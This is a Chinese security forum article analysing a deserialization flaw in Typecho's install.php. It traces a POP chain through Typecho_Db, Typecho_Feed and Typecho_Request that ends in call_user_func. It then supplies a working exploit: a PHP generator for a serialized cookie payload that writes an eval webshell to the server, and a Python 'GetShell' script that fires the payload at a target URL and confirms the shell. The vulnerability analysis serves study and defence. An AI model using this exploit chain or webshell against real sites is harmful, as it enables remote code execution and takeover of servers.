登录

Typecho Install.php 代码分析

茜さす / 2017-10-24 02:40:00 / 浏览数 5212 技术文章 技术文章 顶(0) 踩(0)

前言

有一天凌晨听其他师傅说typecho留了后门，因为吃鸡太晚了就没看。后面想分析的时候，后发现原文章没了，搜索引擎的缓存都是乱的。。。。找了好久也没有找到，于是

。

问题源头在`install.php`，它在安装后是不会删除的，这里就是恶意代码的输入点

0x01 操作执行顺序：

1. base64解码后反序列化cookie中传入的`__typecho_config`参数，
2. 然后让`__typecho_config`作为构造参数例化一个`Typecho_Db`类，
3. 接着通过`POP`链进行代码执行。

涉及到的文件还有类名

`install.php■unserialize■ - >  Db.php■class Typecho_Db■  - >  Feed.php ■class Typecho_Feed■ - >  Request.php ■class Typecho_R`

install.php

进入这段代码的条件：

1. 设置了正确的referer（网站url即可）
2. 加上一个任意的finish参数
3. 设置cookie中`__typecho_config`字段的值

cookie中的`__typecho_config`得到序列化后的`$config`数组字符串后，再使用`$config['adapter']`作为构造参数传入`Typecho_Db`的实例化过程

```
<?php if (isset($_GET['finish'])) : ?>
                <?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
                <h1 class="typecho-install-title"><?php _e('■■■■!'); ?></h1>
                <div class="typecho-install-body">
                    <form method="post" action="?config" name="config">
                    <p class="message error"><?php _e('■■■■■ config.inc.php ■■■■■■■■■■'); ?> <button class="btn primary" ty
                    </form>
                </div>
                <?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
                <h1 class="typecho-install-title"><?php _e('■■■■!'); ?></h1>
                <div class="typecho-install-body">
                    <form method="post" action="?config" name="config">
                    <p class="message error"><?php _e('■■■■■■■■■■■■■■■■■'); ?> <button class="btn primary" type="submit"><
                    </form>
                </div>
                <?php else : ?>
                    <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>
```

Db.php

`$config['adapter']`在构造函数里面对应形参`$adapterName`,
`$adapterName`是`Typecho_Feed`类的实例，使用.字符连接就调用`__toString`魔术方法

```
<?php
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** ■■■■■■■ */
        $this->_adapterName = $adapterName;

        /** ■■■■■■ */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** ■■■■■■■ */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //■■■■■■■■
        $this->_adapter = new $adapterName();
    }
```

Feed.php

$this->_type用来控制if语句的流程，给$this->_type赋值ATOM 1.0时，
即可进入包含$item['author']->screenName的分支，$item['author']这个变量是一个Typecho_Request的实例,我们可以设置这个Typecho_Request实例的属
当访问$item['author']->screenName就会调用__get方法

```
<?php
    public function __toString()
    {
        $result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

        if (self::RSS1 == $this->_type) {
            $result .= '<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;

            $content = '';
            $links = array();
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
                $content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }
                $content .= '</item>' . self::EOL;

                $links[] = $item['link'];

                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }

            $result .= '<channel rdf:about="' . $this->_feedUrl . '">
<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<items>
<rdf:Seq>' . self::EOL;

            foreach ($links as $link) {
                $result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
            }

            $result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;
```

```
            $result .= $content . '</rdf:RDF>';

        } else if (self::RSS2 == $this->_type) {
            $result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;

            $content = '';
            $lastUpdate = 0;

            foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

                if (!empty($item['category']) && is_array($item['category'])) {
                    foreach ($item['category'] as $category) {
                        $content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
                    }
                }

                if (!empty($item['excerpt'])) {
                    $content .= '<description><![CDATA[' . strip_tags($item['excerpt']) . ']]></description>' . self::EOL;
                }

                if (!empty($item['content'])) {
                    $content .= '<content:encoded xml:lang="' . $this->_lang . '"><![CDATA['
                    . self::EOL .
                    $item['content'] . self::EOL .
                    ']]></content:encoded>' . self::EOL;
                }

                if (isset($item['comments']) && strlen($item['comments']) > 0) {
                    $content .= '<slash:comments>' . $item['comments'] . '</slash:comments>' . self::EOL;
                }

                $content .= '<comments>' . $item['link'] . '#comments</comments>' . self::EOL;
                if (!empty($item['commentsFeedUrl'])) {
                    $content .= '<wfw:commentRss>' . $item['commentsFeedUrl'] . '</wfw:commentRss>' . self::EOL;
                }

                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }

                $content .= '</item>' . self::EOL;

                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }

            $result .= '<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<atom:link href="' . $this->_feedUrl . '" rel="self" type="application/rss+xml" />
<language>' . $this->_lang . '</language>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<lastBuildDate>' . $this->dateFormat($lastUpdate) . '</lastBuildDate>
<pubDate>' . $this->dateFormat($lastUpdate) . '</pubDate>' . self::EOL;

            $result .= $content . '</channel>
```

```
</rss>';

       } else if (self::ATOM1 == $this->_type) {
           $result .= '<feed xmlns="http://www.w3.org/2005/Atom"
xmlns:thr="http://purl.org/syndication/thread/1.0"
xml:lang="' . $this->_lang . '"
xml:base="' . $this->_baseUrl . '"
>' . self::EOL;

           $content = '';
           $lastUpdate = 0;

           foreach ($this->_items as $item) {
               $content .= '<entry>' . self::EOL;
               $content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
               $content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
               $content .= '<id>' . $item['link'] . '</id>' . self::EOL;
               $content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
               $content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
               $content .= '<author>
   <name>' . $item['author']->screenName . '</name>
   <uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;
```

Request.php

Typecho_Request实例调用__get魔术方法，进入get方法,最后进入_applyFilter方法

```
<?php
   public function __get($key)
   {
       return $this->get($key);
   }
```

$key的值是screenNamem,因此$this->_params需要是个键为screenNamem的数组，键值为想执行的代码,最终$value传进call_user_func

```
<?php
   public function get($key, $default = NULL)
   {
       switch (true) {
           case isset($this->_params[$key]):
               $value = $this->_params[$key];
               break;
           case isset(self::$_httpParams[$key]):
               $value = self::$_httpParams[$key];
               break;
           default:
               $value = $default;
               break;
       }

       $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
       return $this->_applyFilter($value);
   }
```

进入_applyFilter后,可以看见call_user_func，这时需要设置$this->_filter为arrsert，作为call_user_func的第一个参数，$value我们也可控，已经可以

```
<?php
   private function _applyFilter($value)
   {
       if ($this->_filter) {
           foreach ($this->_filter as $filter) {
               $value = is_array($value) ? array_map($filter, $value) :
               call_user_func($filter, $value);
           }

           $this->_filter = array();
       }

       return $value;
   }
```

EXP

主要用于生成__typecho_config的Payload

```
<?php

/**
* Created by PhpStorm.
* User: RaI4over
* Date: 2017/10/19
* Time: 15:17
* ■■ _typecho_config ■■
*/
class Typecho_Feed
{
   const RSS2 = 'RSS 2.0';
   private $_type;
   private $_charset;
   private $_lang;
   private $_items = array();

   public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
   {
       $this->_version = $version;
       $this->_type = $type;
       $this->_charset = $charset;
       $this->_lang = $lang;
   }

   public function addItem(array $item)
   {
       $this->_items[] = $item;
   }
}

class Typecho_Request
{
   private $_params = array('screenName'=>'fputs(fopen(\'./usr/themes/default/img/c.php\',\'w\'),\'<?php @eval($_POST[a]);?>\'
   private $_filter = array('assert');
   //private $_filter = array('assert', array('Typecho_Response', 'redirect'));

}

$payload1 = new Typecho_Feed(5, 'ATOM 1.0');
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp['adapter'] = $payload1;
$exp['prefix'] = 'Rai4over';
echo base64_encode(serialize($exp));
```

编写payload的简单思路：

最外层$exp是数组，数组中的'adapter'是Typecho_Feed的实例$payload1, $payload1的构造参数是'ATOM 1.0'用于控制分支,
$payload2是Typecho_Request的实例, private $_filter ，private $_params是传给call_user_func的参数，也就是通过assert写shell
然后$payload2通过additem添加到$payload的$_items的变量中，最后把$payload1添加到最外层的$exp数组中

ps：因为**install.php**中有**ob_start();**所以构造好是没有回显的，但是也能写shell
后面其他师傅说可以用**Typecho_Response**类中的**redirect**方法中的**exit()**得到回显

GetShell小工具

记得把php添加进环境变量

```
import requests
import os

if __name__ == '__main__':
   print ''' ____           ____       _ _  _
```

```
| __ ) _   _  |  _ \ __ _(_) || |  _____   _____ _ __
|  _ \| | | |  | |_) / _` | | || |_ / _ \ \ / / _ \ '__|
| |_) | |_| |  |  _ < (_| | |__   _| (_) \ V /  __/ |
|____/ \__, |  |_| \_\__,_|_|  |_|  \___/ \_/ \___|_|
       |___/
   '''

   targert_url = 'http://www.xxxxxxxx.xyz';

   rsp = requests.get(targert_url + "/install.php");
   if rsp.status_code != 200:
       exit('The attack failed and the problem file does not exist !!!')
   else:
       print 'You are lucky, the problem file exists, immediately attack !!!'

   proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", }

   typecho_config = os.popen('php exp.php').read()

   headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
              'Cookie': 'antispame=1508415662; antispamkey=cc7dffeba8d48da508df125b5a50edbd; PHPSESSID=po1hggbeslfoglbvurjjt2lc
              'Referer': targert_url}

   url = targert_url + "/install.php?finish=1"

   requests.get(url,headers=headers,allow_redirects=False)

   shell_url = targert_url + '/usr/themes/default/img/c.php'
   if requests.get(shell_url).status_code == 200:
       print 'shell_url: ' + shell_url
   else:
       print "Getshell Fail!"
```

参考：http://bobao.360.cn/learning/detail/4122.html

点击收藏 | 0 关注 | 0

上一篇：不要吝啬你的提问，诚邀小伙伴一起参... 下一篇：GitBook 任意文件读取漏洞—...

1. 2 条回复

th1s 2017-10-27 03:24:18

原文描述如下：
我们可以设置这个Typecho_Request实例的属性screenName是一个私有属性，
当访问$item['author']->screenName就会调用__get方法

指出一个小问题，这里能够调用__get()方法是因为Typecho_Request实例没有声明screenName这个属性 而不是因为screenName是一个私有属性。

0 回复Ta

茜さす 2017-10-27 04:31:50

''PHP所提供的"重载"（overloading）是指动态地"创建"类属性和方法。我们是通过魔术方法（magic methods）来实现的。

当调用当前环境下未定义或不可见的类属性或方法时，重载方法会被调用。本节后面将使用"不可访问属性（inaccessible properties）"和"不可访问方法（inaccessible methods）"来称呼这些未定义或不可见的类属性或方法。''
http://php.net/manual/zh/language.oop5.overloading.php#object.get
当然 受保护或属性不存在的时候都会调用这个魔术方法的

0 回复Ta